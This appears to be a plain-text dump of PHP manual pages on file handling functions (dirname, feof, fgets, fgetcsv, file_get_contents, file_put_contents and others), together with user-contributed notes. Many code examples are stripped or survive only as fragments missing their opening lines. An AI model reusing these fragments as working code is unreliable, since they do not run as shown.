[0] => Array ( [name] => foo.txt [type] => text/plain [tmp_name] => /tmp/phpYzdqkD [error] => 0 [size] => 123 ) [1] => Array ( [name] => bar.txt [type] => text/plain [tmp_name] => /tmp/phpeEwEWG [error] => 0 [size] => 456 ) ) I wrote a quick function that would convert the $_FILES array to the cleaner (IMHO) array. > < Now I can do the following: > < 36 wizzard351 at yahoo dot com ¶3 years ago~ This is also needed for elements. So, if you have an input element like this: This should be written as else you'll only be able to get one of the files. 10 Corey Ballou ¶7 years ago~ Here is a function to fix the indices of a multi-dimensional for easier parsing when dealing with file uploads. It takes a single $_FILES field array as a parameter and separates each individual uploaded file by numeric key. This allows for iterating like: > $file) { // should output array with indices name, type, tmp_name, error, size var_dump($file); } ?> < Here's the code: > 1, 'type' => 1, 'tmp_name' => 1, 'error' => 1, 'size' => 1); foreach ($files as $key => $part) { // only deal with valid keys and multiple files $key = (string) $key; if (isset($names[$key]) && is_array($part)) { foreach ($part as $position => $value) { $files[$position][$key] = $value; } // remove old key reference unset($files[$key]); } } } ?> < 12 timspeelman at live dot nl ¶5 years ago~ The cleanest way to rearrange the $_FILES > $all ){ foreach( $all as $i => $val ){ $new[$i][$key] = $val; } } return $new; } ?> < -------------------------------------------------------------------------------- *PUT_method_support* +--------------------+~ | PUT method support |~ +--------------------+~ PHP provides support for the HTTP PUT method used by some clients to store files on a server. PUT requests are much simpler than a file upload using POST requests and they look something like this: PUT /path/filename.html HTTP/1.1 This would normally mean that the remote client would like to save the content that follows as: /path/filename.html in your web tree. It is obviously not a good idea for Apache or PHP to automatically let everybody overwrite any files in your web tree. So, to handle such a request you have to first tell your web server that you want a certain PHP script to handle the request. In Apache you do this with the Script directive. It can be placed almost anywhere in your Apache configuration file. A common place is inside a block or perhaps inside a block. A line like this would do the trick: Script PUT /put.php This tells Apache to send all PUT requests for URIs that match the context in which you put this line to the put.php script. This assumes, of course, that you have PHP enabled for the .php extension and PHP is active. The destination resource for all PUT requests to this script has to be the script itself, not a filename the uploaded file should have. With PHP you would then do something like the following in your put.php. This would copy the contents of the uploaded file to the file myputfile.ext on the server. You would probably want to perform some checks and/or authenticate the user before performing this file copy. Example #1 Saving HTTP PUT files > < User Contributed Notes 7 notes 24 micronix at gmx dot net ¶6 years ago~ Hello PHP World After many Hours of worryness :=) I have found the Solution for Resume or Pause Uploads In this Code Snippet it is the Server Side not Client on any Desktop Programm you must use byte ranges to calculate the uploaded bytes and missing of total bytes. Here the PHP Code > getMessage(), "\n"; } ?> < -------------------------------------------------------------------------------- *delete* +--------+~ | delete |~ +--------+~ delete — See unlink() or unset() Description~ This is a dummy manual entry to satisfy those people who are looking for unlink() or unset() in the wrong place. See Also~ |unlink|() - Deletes a file |unset|() - Unset a given variable User Contributed Notes 1 note 30 Edward Morgan ¶3 years ago~ Unlink refers to the underlying UNIX command, unlink, which removes the symbolic or hard link to the file, not necessarily the file itself. The file is only removed when all links to the file are removed. -------------------------------------------------------------------------------- *dirname* +---------+~ | dirname |~ +---------+~ (PHP 4, PHP 5, PHP 7) dirname — Returns a parent directory's path Description~ > string dirname ( string $path [, int $levels = 1 ] ) < Given a string containing the path of a file or directory, this function will return the parent directory's path that is levels up from the current directory. Note: dirname() operates naively on the input string, and is not aware of the actual filesystem, or path components such as "..". Caution dirname() is locale aware, so for it to see the correct directory name with multibyte character paths, the matching locale must be set using the setlocale() function. Parameters~ path ----- A path. On Windows, both slash (/) and backslash (\) are used as directory separator character. In other environments, it is the forward slash (/). levels ------ The number of parent directories to go up. This must be an integer greater than 0. Return Values~ Returns the path of a parent directory. If there are no slashes in path, a dot ('.') is returned, indicating the current directory. Otherwise, the returned string is path with any trailing /component removed. Changelog~ Version Description 7.0.0 Added the optional levels parameter. 5.0.0 dirname() is now binary safe Examples~ Example #1 dirname() example > < For example, if a script called 'database.init.php' which is included from anywhere on the filesystem wants to include the script 'database.class.php', which lays in the same directory, you can use: > < 30 y dot a dot dejong at singular dot of dot alumni dot utwente dot nl ¶2 years ago~ As of PHP 5.3.0, you can use __DIR__ as a replacement for dirname(__FILE__) 7 joe dot naylor at gmail dot com ¶8 years ago~ The dirname function does not usually return a slash on the end, which might encourage you to create links using code like this: $url = dirname($_SERVER['PHP_SELF']) . '/somepage.php'; However dirname returns a slash if the path you specify is the root, so $url in that case would become '//somepage.php'. If you put that URL as the action on a form, for example, submitting the form will try to go to http://somepage.php. I ran into this when I wrote a site on a url with a path, www.somehost.com/client/somepage.php, where the code above works great, but then wanted to put it on a subdomain, client.somehost.com/somepage.php, where things started breaking. The best solution would be to create a function that generates absolute URLs and use that throughout the site, but creating a safe_dirname function (and an htaccess rewrite to fix double-slashes just in case) fixed the issue for me: > < 9 klugg this-is-junk at tlen dot pl ¶11 years ago~ Attention with this. Dirname likes to mess with the slashes. On Windows, Apache: > '; echo 'Dirname($_SERVER[PHP_SELF]: ' . dirname($_SERVER['PHP_SELF']) . '
    '; ?> < prints out $_SERVER[PHP_SELF]: /index.php Dirname($_SERVER[PHP_SELF]: \ -------------------------------------------------------------------------------- *disk_free_space* +-----------------+~ | disk_free_space |~ +-----------------+~ (PHP 4 >= 4.1.0, PHP 5, PHP 7) disk_free_space — Returns available space on filesystem or disk partition Description~ > float disk_free_space ( string $directory ) < Given a string containing a directory, this function will return the number of bytes available on the corresponding filesystem or disk partition. Parameters~ directory --------- A directory of the filesystem or disk partition. Note: Given a file name instead of a directory, the behaviour of the function is unspecified and may differ between operating systems and PHP versions. Return Values~ Returns the number of available bytes as a float or FALSE on failure. Examples~ Example #1 disk_free_space() example > < Notes Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem. See Also~ |disk_total_space|() - Returns the total size of a filesystem or disk partition User Contributed Notes 7 notes 26 wiede at gmx dot net ¶6 years ago~ Transformation is possible WITHOUT using loops: > '; echo sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '
    '; ?> < 15 Anonymous ¶2 years ago~ $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' ); you are missing the petabyte after terabyte 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' should look like 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB' 10 sam ¶8 years ago~ Nice, but please be aware of the prefixes. SI specifies a lower case 'k' as 1'000 prefix. It doesn't make sense to use an upper case 'K' as binary prefix, while the decimal Mega (M and following) prefixes in SI are uppercase. Furthermore, there are REAL binary prefixes since a few years. Do it the (newest and recommended) "IEC" way: KB's are calculated decimal; power of 10 (1000 bytes each) KiB's are calculated binary; power of 2 (1024 bytes each). The same goes for MB, MiB and so on... Feel free to read: http://en.wikipedia.org/wiki/Binary_prefix 10 root at mantoru dot de ¶9 years ago~ Note that disk_free_space() does an open_basedir check. -------------------------------------------------------------------------------- *disk_total_space* +------------------+~ | disk_total_space |~ +------------------+~ (PHP 4 >= 4.1.0, PHP 5, PHP 7) disk_total_space — Returns the total size of a filesystem or disk partition Description~ > float disk_total_space ( string $directory ) < Given a string containing a directory, this function will return the total number of bytes on the corresponding filesystem or disk partition. Parameters~ directory --------- A directory of the filesystem or disk partition. Return Values~ Returns the total number of bytes as a float or FALSE on failure. Examples~ Example #1 disk_total_space() example > < Notes Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem. See Also~ |disk_free_space|() - Returns available space on filesystem or disk partition User Contributed Notes 9 notes 8 Viitala ¶9 years ago~ Beware of empty files! > < 8 tularis at php dot net ¶9 years ago~ For a non-looping way to add symbols to a number of bytes: > bool feof ( resource $handle ) < Tests for end-of-file on a file pointer. Parameters~ handle ------ The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()). Return Values~ Returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout); otherwise returns FALSE. Notes Warning If a connection opened by fsockopen() wasn't closed by the server, feof() will hang. To workaround this, see below example: Example #1 Handling timeouts with feof() > < Warning If the passed file pointer is not valid you may get an infinite loop, because feof() fails to return TRUE. Example #2 feof() example with an invalid file pointer > < User Contributed Notes 16 notes~ 19 ironoxid at libero dot it ¶10 years ago~ I really thought that the feof() was TRUE when the logical file pointer is a EOF. but no ! we need to read and get an empty record before the eof() reports TRUE. So > $fp = fopen('test.bin','rb'); while(!feof($fp)) { $c = fgetc($fp); // ... do something with $c echo ftell($fp), ","; } echo 'EOF!'; < prints for two time the last byte position. If our file length is 5 byte this code prints 0,1,2,3,4,5,5,EOF! Because of this, you have to do another check to verify if fgetc really reads another byte (to prevent error on "do something with $c" ^_^). To prevent errors you have to use this code > $fp = fopen('test.bin','rb'); while(!feof($fp)) { $c = fgetc($fp); if($c === false) break; // ... do something with $c } < but this is the same of > $fp = fopen('test.bin','rb'); while(($c = fgetc($fp))!==false) { // ... do something with $c } < Consequently feof() is simply useless. Before write this note I want to submit this as a php bug but one php developer said that this does not imply a bug in PHP itself (http://bugs.php.net/bug.php?id=35136&edit=2). If this is not a bug I think that this need at least to be noticed. Sorry for my bad english. Bye ;) 8 sudo dot adam dot carruthers at gmail dot com ¶7 years ago~ When using feof() on a TCP stream, i found the following to work (after many hours of frustration and anger): NOTE: I used ";" to denote the end of data transmission. This can be modified to whatever the server's end of file or in this case, end of output character is. > < Since strcmp() returns 0 when the two strings are equal, it will return non zero as long as the cursor is not ";". Using the above method will add ";" to the string, but the fix for this is simple. > < I hope this helps someone. -------------------------------------------------------------------------------- *fflush* +--------+~ | fflush |~ +--------+~ (PHP 4 >= 4.0.1, PHP 5, PHP 7) fflush — Flushes the output to a file Description~ > bool fflush ( resource $handle ) < This function forces a write of all buffered output to the resource pointed to by the file handle. Parameters~ handle ------ The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()). Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 File write example using fflush() > < See Also~ |clearstatcache|() - Clears file status cache |fwrite|() - Binary-safe file write -------------------------------------------------------------------------------- *fgetc* +-------+~ | fgetc |~ +-------+~ (PHP 4, PHP 5, PHP 7) fgetc — Gets character from file pointer Description~ > string fgetc ( resource $handle ) < Gets a character from the given file pointer. Parameters~ handle ------ The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()). Return Values~ Returns a string containing a single character read from the file pointed to by handle. Returns FALSE on EOF. Warning This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function. Examples~ Example #1 A fgetc() example > < Notes Note: This function is binary-safe. See Also~ |fread|() - Binary-safe file read |fopen|() - Opens file or URL |popen|() - Opens process file pointer |fsockopen|() - Open Internet or Unix domain socket connection |fgets|() - Gets line from file pointer -------------------------------------------------------------------------------- *fgetcsv* +---------+~ | fgetcsv |~ +---------+~ (PHP 4, PHP 5, PHP 7) fgetcsv — Gets line from file pointer and parse for CSV fields Description~ > array fgetcsv ( resource $handle [, int $length = 0 [, string $delimiter = "," [, string $enclosure = '"' [, string $escape = "\" ]]]] ) < Similar to fgets() except that fgetcsv() parses the line it reads for fields in CSV format and returns an array containing the fields read. Parameters~ handle ------ A valid file pointer to a file successfully opened by fopen(), popen(), or fsockopen(). length ------ Must be greater than the longest line (in characters) to be found in the CSV file (allowing for trailing line-end characters). Otherwise the line is split in chunks of length characters, unless the split would occur inside an enclosure. Omitting this parameter (or setting it to 0 in PHP 5.1.0 and later) the maximum line length is not limited, which is slightly slower. delimiter --------- The optional delimiter parameter sets the field delimiter (one character only). enclosure --------- The optional enclosure parameter sets the field enclosure character (one character only). escape ------ The optional escape parameter sets the escape character (one character only). Return Values~ Returns an indexed array containing the fields read. Note: A blank line in a CSV file will be returned as an array comprising a single null field, and will not be treated as an error. Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem. fgetcsv() returns NULL if an invalid handle is supplied or FALSE on other errors, including end of file. Changelog~ Version Description 5.3.0 The escape parameter was added 5.1.0 The length is now optional. Default is 0, meaning no length limit. 4.3.5 fgetcsv() is now binary safe Examples~ Example #1 Read and print the entire contents of a CSV file > $num fields in line $row:

    \n"; $row++; for ($c=0; $c < $num; $c++) { echo $data[$c] . "
    \n"; } } fclose($handle); } ?> < Notes Note: Locale setting is taken into account by this function. If LANG is e.g. en_US.UTF-8, files in one-byte encoding are read wrong by this function. See Also~ |str_getcsv|() - Parse a CSV string into an array |explode|() - Split a string by string |file|() - Reads entire file into an array |pack|() - Pack data into binary string |fputcsv|() - Format line as CSV and write to file pointer User Contributed Notes 58 notes 46 james dot ellis at gmail dot com ¶8 years ago~ If you need to set auto_detect_line_endings to deal with Mac line endings, it may seem obvious but remember it should be set before fopen, not after: This will work: > < This won't, you will still get concatenated fields at the new line position: > < 25 myrddin at myrddin dot myrddin ¶10 years ago~ Here is a OOP based importer similar to the one posted earlier. However, this is slightly more flexible in that you can import huge files without running out of memory, you just have to use a limit on the get() method Sample usage for small files:- ------------------------------------- get(); print_r($data); ?> Sample usage for large files:- ------------------------------------- get(2000)) { print_r($data); } ?> And heres the class:- ------------------------------------- fp = fopen($file_name, "r"); $this->parse_header = $parse_header; $this->delimiter = $delimiter; $this->length = $length; $this->lines = $lines; if ($this->parse_header) { $this->header = fgetcsv($this->fp, $this->length, $this->delimiter); } } //-------------------------------------------------------------------- function __destruct() { if ($this->fp) { fclose($this->fp); } } //-------------------------------------------------------------------- function get($max_lines=0) { //if $max_lines is set to 0, then get all the data $data = array(); if ($max_lines > 0) $line_count = 0; else $line_count = -1; // so loop limit is ignored while ($line_count < $max_lines && ($row = fgetcsv($this->fp, $this->length, $this->delimiter)) !== FALSE) { if ($this->parse_header) { foreach ($this->header as $i => $heading_i) { $row_new[$heading_i] = $row[$i]; } $data[] = $row_new; } else { $data[] = $row; } if ($max_lines > 0) $line_count++; } return $data; } //-------------------------------------------------------------------- } ?> 11 Tim Henderson ¶9 years ago~ Only problem with fgetcsv(), at least in PHP 4.x -- any stray slash in the data that happens to come before a double-quote delimiter will break it -- ie, cause the field delimiter to be escaped. I can't find a direct way to deal with it, since fgetcsv() doesn't give you a chance to manipulate the line before it reads it and parses it...I've had to change all occurrences of '\"' to '" in the file first before feeding ot to fgetcsv(). Otherwise this is perfect for that Microsoft-CSV formula, deals gracefully with all the issues. -------------------------------------------------------------------------------- *fgets* +-------+~ | fgets |~ +-------+~ (PHP 4, PHP 5, PHP 7) fgets — Gets line from file pointer Description~ > string fgets ( resource $handle [, int $length ] ) < Gets a line from file pointer. Parameters~ handle ------ The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()). length ------ Reading ends when length - 1 bytes have been read, or a newline (which is included in the return value), or an EOF (whichever comes first). If no length is specified, it will keep reading from the stream until it reaches the end of the line. Note: Until PHP 4.3.0, omitting it would assume 1024 as the line length. If the majority of the lines in the file are all larger than 8KB, it is more resource efficient for your script to specify the maximum line length. Return Values~ Returns a string of up to length - 1 bytes read from the file pointed to by handle. If there is no more data to read in the file pointer, then FALSE is returned. If an error occurs, FALSE is returned. Changelog~ Version Description 4.3.0 fgets() is now binary safe Examples~ Example #1 Reading a file line by line > < Notes~ Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem. Note: People used to the 'C' semantics of fgets() should note the difference in how EOF is returned. See Also~ |fgetss|() - Gets line from file pointer and strip HTML tags |fread|() - Binary-safe file read |fgetc|() - Gets character from file pointer |stream_get_line|() - Gets line from stream resource up to a given delimiter |fopen|() - Opens file or URL |popen|() - Opens process file pointer |fsockopen|() - Open Internet or Unix domain socket connection |stream_set_timeout|() - Set timeout period on a stream User Contributed Notes 34 notes 10 Leigh Purdie ¶2 years ago~ A better example, to illustrate the differences in speed for large files, between fgets and stream_get_line. This example simulates situations where you are reading potentially very long lines, of an uncertain length (but with a maximum buffer size), from an input source. As Dade pointed out, the previous example I provided was much to easy to pick apart, and did not adequately highlight the issue I was trying to address. Note that specifying a definitive end-character for fgets (ie: newline), generally decreases the speed difference reasonably significantly. > #!/usr/bin/php 1?"faster":"slower") . " than fgets - pdiff is $pdiff\n"; ?> < $ ./testcase.php stream_get_line is faster than fgets - pdiff is 1.760398041785 Note that, in a vast majority of situations in which php is employed, tiny differences in speed between system calls are of negligible importance. 8 afwxkat at gmail dot com ¶7 years ago~ One thing I discovered with fgets, at least with PHP 5.1.6, is that you may have to use an IF statement to avoid your code running rampant (and possibly hanging the server). This can cause problems if you do not have root access on the server on which you are working. This is the code I have implemented ($F1 is an array): > < I have noticed that without the IF statement, fgets seems to ignore when $fh is undefined (i.e., "filename" does not exist). If that happens, it will keep attempting to read from a nonexistent filehandle until the process can be administratively killed or the server hangs, whichever comes first. -------------------------------------------------------------------------------- *fgetss* +--------+~ | fgetss |~ +--------+~ (PHP 4, PHP 5, PHP 7) fgetss — Gets line from file pointer and strip HTML tags Description~ > string fgetss ( resource $handle [, int $length [, string $allowable_tags ]] ) < Identical to fgets(), except that fgetss() attempts to strip any NUL bytes, HTML and PHP tags from the text it reads. Parameters~ handle ------ The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()). length ------ Length of the data to be retrieved. allowable_tags -------------- You can use the optional third parameter to specify tags which should not be stripped. See strip_tags() for details regarding allowable_tags. Return Values~ Returns a string of up to length - 1 bytes read from the file pointed to by handle, with all HTML and PHP code stripped. If an error occurs, returns FALSE. Example #1 Reading a PHP file line-by-line >

    Welcome! Today is the of .

    Text outside of the HTML block. EOD; file_put_contents('sample.php', $str); $handle = @fopen("sample.php", "r"); if ($handle) { while (!feof($handle)) { $buffer = fgetss($handle, 4096); echo $buffer; } fclose($handle); } ?> < The above example will output something similar to: Welcome! Today is the of . Text outside of the HTML block. Notes~ Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem. See Also~ |fgets|() - Gets line from file pointer |fopen|() - Opens file or URL |popen|() - Opens process file pointer |fsockopen|() - Open Internet or Unix domain socket connection |strip_tags|() - Strip HTML and PHP tags from a string -------------------------------------------------------------------------------- *file_exists* +-------------+~ | file_exists |~ +-------------+~ (PHP 4, PHP 5, PHP 7) file_exists — Checks whether a file or directory exists Description~ > bool file_exists ( string $filename ) < Checks whether a file or directory exists. Parameters~ filename -------- Path to the file or directory. On windows, use //computername/share/filename or \\computername\share\filename to check files on network shares. Return Values~ Returns TRUE if the file or directory specified by filename exists; FALSE otherwise. Note: This function will return FALSE for symlinks pointing to non-existing files. Warning This function returns FALSE for files inaccessible due to safe mode restrictions. However these files still can be included if they are located in safe_mode_include_dir. Note: The check is done using the real UID/GID instead of the effective one. Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB. Examples~ Example #1 Testing whether a file exists > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |is_readable|() - Tells whether a file exists and is readable |is_writable|() - Tells whether the filename is writable |is_file|() - Tells whether the filename is a regular file |file|() - Reads entire file into an array User Contributed Notes 45 notes 16 welkom at remconijhuis dot nl ¶3 years ago~ I needed to measure performance for a project, so I did a simple test with one million file_exists() and is_file() checks. In one scenario, only seven of the files existed. In the second, all files existed. is_file() needed 3.0 for scenario one and 3.3 seconds for scenario two. file_exists() needed 2.8 and 2.9 seconds, respectively. The absolute numbers are off course system-dependant, but it clearly indicates that file_exists() is faster. 15 vernon at kesnerdesigns dot net ¶9 years ago~ In response to seejohnrun's version to check if a URL exists. Even if the file doesn't exist you're still going to get 404 headers. You can still use get_headers if you don't have the option of using CURL.. > $file = 'http://www.domain.com/somefile.jpg'; $file_headers = @get_headers($file); if($file_headers[0] == 'HTTP/1.1 404 Not Found') { $exists = false; } else { $exists = true; } < 9 maurice at idify dot nl ¶9 years ago~ Note: The results of this function are cached. See clearstatcache() for more details. That's a pretty big note. Don't forget this one, since it can make your file_exists() behave unexpectedly - probably at production time ;) -------------------------------------------------------------------------------- *file_get_contents* +-------------------+~ | file_get_contents |~ +-------------------+~ (PHP 4 >= 4.3.0, PHP 5, PHP 7) file_get_contents — Reads entire file into a string Description~ > string file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) < This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE. file_get_contents() is the preferred way to read the contents of a file into a string. It will use memory mapping techniques if supported by your OS to enhance performance. Note: If you're opening a URI with special characters, such as spaces, you need to encode the URI with urlencode(). Parameters~ filename -------- Name of the file to read. use_include_path ---------------- Note: As of PHP 5 the FILE_USE_INCLUDE_PATH constant can be used to trigger include path search. context ------- A valid context resource created with stream_context_create(). If you don't need to use a custom context, you can skip this parameter by NULL. offset ------ The offset where the reading starts on the original stream. Negative offsets count from the end of the stream. Seeking (offset) is not supported with remote files. Attempting to seek on non-local files may work with small offsets, but this is unpredictable because it works on the buffered stream. maxlen ------ Maximum length of data read. The default is to read until end of file is reached. Note that this parameter is applied to the stream processed by the filters. Return Values~ The function returns the read data or FALSE on failure. Warning This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function. Errors/Exceptions~ An E_WARNING level error is generated if filename cannot be found, maxlength is less than zero, or if seeking to the specified offset in the stream fails. Examples~ Example #1 Get and output the source of the homepage of a website > < Example #2 Searching within the include_path > PHP 5 $file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH); ?> < Example #3 Reading a section of a file > < The above example will output something similar to: string(14) "lle Bjori Ro" Example #4 Using stream contexts > array( 'method'=>"GET", 'header'=>"Accept-language: en\r\n" . "Cookie: foo=bar\r\n" ) ); $context = stream_context_create($opts); // Open the file using the HTTP headers set above $file = file_get_contents('http://www.example.com/', false, $context); ?> < Changelog~ Version Description 7.1.0 Support for negative offsets has been added. 5.1.0 Added the offset and maxlen parameters. Notes Note: This function is binary-safe. Tip A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide. Warning When using SSL, Microsoft IIS will violate the protocol by closing the connection without sending a close_notify indicator. PHP will report this as "SSL: Fatal Protocol Error" when you reach the end of the data. To work around this, the value of error_reporting should be lowered to a level that does not include warnings. PHP can detect buggy IIS server software when you open the stream using the https:// wrapper and will suppress the warning. When using fsockopen() to create an ssl:// socket, the developer is responsible for detecting and suppressing this warning. See Also~ |file|() - Reads entire file into an array |fgets|() - Gets line from file pointer |fread|() - Binary-safe file read |readfile|() - Outputs a file |file_put_contents|() - Write a string to a file |stream_get_contents|() - Reads remainder of a stream into a string |stream_context_create|() - Creates a stream context |$http_response_header| 75 Bart Friederichs ¶5 years ago~ file_get_contents can do a POST, create a context for that first: > $opts = array('http' => array( 'method' => 'POST', 'header' => "Content-Type: text/xml\r\n". "Authorization: Basic ".base64_encode("$https_user:$https_password")."\r\n", 'content' => $body, 'timeout' => 60 ) ); $context = stream_context_create($opts); $url = 'https://'.$https_server; $result = file_get_contents($url, false, $context, -1, 40000); < -------------------------------------------------------------------------------- *file_put_contents* +-------------------+~ | file_put_contents |~ +-------------------+~ (PHP 5, PHP 7) file_put_contents — Write a string to a file Description~ > int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) < This function is identical to calling fopen(), fwrite() and fclose() successively to write data to a file. If filename does not exist, the file is created. Otherwise, the existing file is overwritten, unless the FILE_APPEND flag is set. Parameters~ filename -------- Path to the file where to write the data. data ----- The data to write. Can be either a string, an array or a stream resource. If data is a stream resource, the remaining buffer of that stream will be copied to the specified file. This is similar with using stream_copy_to_stream(). You can also specify the data parameter as a single dimension array. This is equivalent to file_put_contents($filename, implode('', $array)). flags ----- The value of flags can be any combination of the following flags, joined with the binary OR (|) operator. Available flags Flag Description FILE_USE_INCLUDE_PATH Search for filename in the include directory. See include_path for more information. FILE_APPEND If file filename already exists, append the data to the file instead of overwriting it. LOCK_EX Acquire an exclusive lock on the file while proceeding to the writing. In other words, a flock() call happens between the fopen() call and the fwrite() call. This is not identical to an fopen() call with mode "x". context ------- A valid context resource created with stream_context_create(). Return Values~ This function returns the number of bytes that were written to the file, or FALSE on failure. Warning This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function. Examples~ Example #1 Simple usage example > < Example #2 Using flags > < Changelog~ Version Description 5.1.0 Added support for LOCK_EX and the ability to pass a stream resource to the data parameter Notes Note: This function is binary-safe. Tip A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide. See Also~ |fopen|() - Opens file or URL |fwrite|() - Binary-safe file write |file_get_contents|() - Reads entire file into a string |stream_context_create|() - Creates a stream context User Contributed Notes 31 notes 76 TrentTompkins at gmail dot com ¶8 years ago~ File put contents fails if you try to put a file in a directory that doesn't exist. This creates the directory. > < 28 justin dot carlson at gmail dot com ¶5 years ago~ It should be obvious that this should only be used if you're making one write, if you are writing multiple times to the same file you should handle it yourself with fopen and fwrite, the fclose when you are done writing. Benchmark below: file_put_contents() for 1,000,000 writes - average of 3 benchmarks: real 0m3.932s user 0m2.487s sys 0m1.437s fopen() fwrite() for 1,000,000 writes, fclose() - average of 3 benchmarks: real 0m2.265s user 0m1.819s sys 0m0.445s 20 deqode at felosity dot nl ¶7 years ago~ Please note that when saving using an FTP host, an additional stream context must be passed through telling PHP to overwrite the file. > array('overwrite' => true)); $stream = stream_context_create($options); /* and finally, put the contents */ file_put_contents($hostname, $content, 0, $stream); ?> < 7 aidan at php dot net ¶12 years ago~ This functionality is now implemented in the PEAR package PHP_Compat. More information about using this function without upgrading your version of PHP can be found on the below link: http://pear.php.net/package/PHP_Compat -------------------------------------------------------------------------------- *file* +------+~ | file |~ +------+~ (PHP 4, PHP 5, PHP 7) file — Reads entire file into an array Description~ > array file ( string $filename [, int $flags = 0 [, resource $context ]] ) < Reads an entire file into an array. Note: You can use file_get_contents() to return the contents of a file as a string. Parameters~ filename -------- Path to the file. Tip A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide. flags ----- The optional parameter flags can be one, or more, of the following constants: FILE_USE_INCLUDE_PATH Search for the file in the include_path. FILE_IGNORE_NEW_LINES Do not add newline at the end of each array element FILE_SKIP_EMPTY_LINES Skip empty lines context ------- A context resource created with the stream_context_create() function. Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams. Return Values~ Returns the file in an array. Each element of the array corresponds to a line in the file, with the newline still attached. Upon failure, file() returns FALSE. Note: Each line in the resulting array will include the line ending, unless FILE_IGNORE_NEW_LINES is used, so you still need to use rtrim() if you do not want the line ending present. Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem. Errors/Exceptions~ Emits an E_WARNING level error if the file does not exist. Changelog~ Version Description 4.3.0 file() became binary safe Examples~ Example #1 file() example > $line) { echo "Line #{$line_num} : " . htmlspecialchars($line) . "
    \n"; } // Another example, let's get a web page into a string. See also file_get_contents(). $html = implode('', file('http://www.example.com/')); // Using the optional flags parameter since PHP 5 $trimmed = file('somefile.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); ?> < Notes~ Warning When using SSL, Microsoft IIS will violate the protocol by closing the connection without sending a close_notify indicator. PHP will report this as "SSL: Fatal Protocol Error" when you reach the end of the data. To work around this, the value of error_reporting should be lowered to a level that does not include warnings. PHP can detect buggy IIS server software when you open the stream using the https:// wrapper and will suppress the warning. When using fsockopen() to create an ssl:// socket, the developer is responsible for detecting and suppressing this warning. See Also~ |readfile|() - Outputs a file |fopen|() - Opens file or URL |fsockopen|() - Open Internet or Unix domain socket connection |popen|() - Opens process file pointer |file_get_contents|() - Reads entire file into a string |include| - include |stream_context_create|() - Creates a stream context User Contributed Notes 11 notes 29 bingo at dingo dot com ¶3 years ago~ To write all the lines of the file in other words to read the file line by line you can write the code like this: > '; foreach($names as $name) { echo $name.'
    '; } ?> < this example is so basic to understand how it's working. I hope it will help many beginners. Regards, Bingo 18 d basin ¶7 years ago~ this may be obvious, but it took me a while to figure out what I was doing wrong. So I wanted to share. I have a file on my "c:\" drive. How do I file() it? Don't forget the backslash is special and you have to "escape" the backslash i.e. "\\": > < hope this helps... 6 Martin K. ¶2 years ago~ If the file you are reading is in CSV format do not use file(), use fgetcsv(). file() will split the file by each newline that it finds, even newlines that appear within a field (i.e. within quotations). 10 twichi at web dot de ¶5 years ago~ read from CSV data (file) into an array with named keys ... with or without 1st row = header (keys) (see 4th parameter of function call as true / false) > < fuction call with 4 parameters: (1) = the file with CSV data (url / string) (2) = colum delimiter (e.g: ; or | or , ...) (3) = values enclosed by (e.g: ' or " or ^ or ...) (4) = with or without 1st row = head (true/false) > \r\n"; print_r($csvdata); echo "\r\n"; // ----------------- ?> < PS: also see: http://php.net/manual/de/function.fgetcsv.php to read CSV data into an array ... and other file-handling methods -------------------------------------------------------------------------------- *if* +----+~ | if |~ +----+~ (PHP 4, PHP 5, PHP 7) The if construct is one of the most important features of many languages, PHP included. It allows for conditional execution of code fragments. PHP features an if 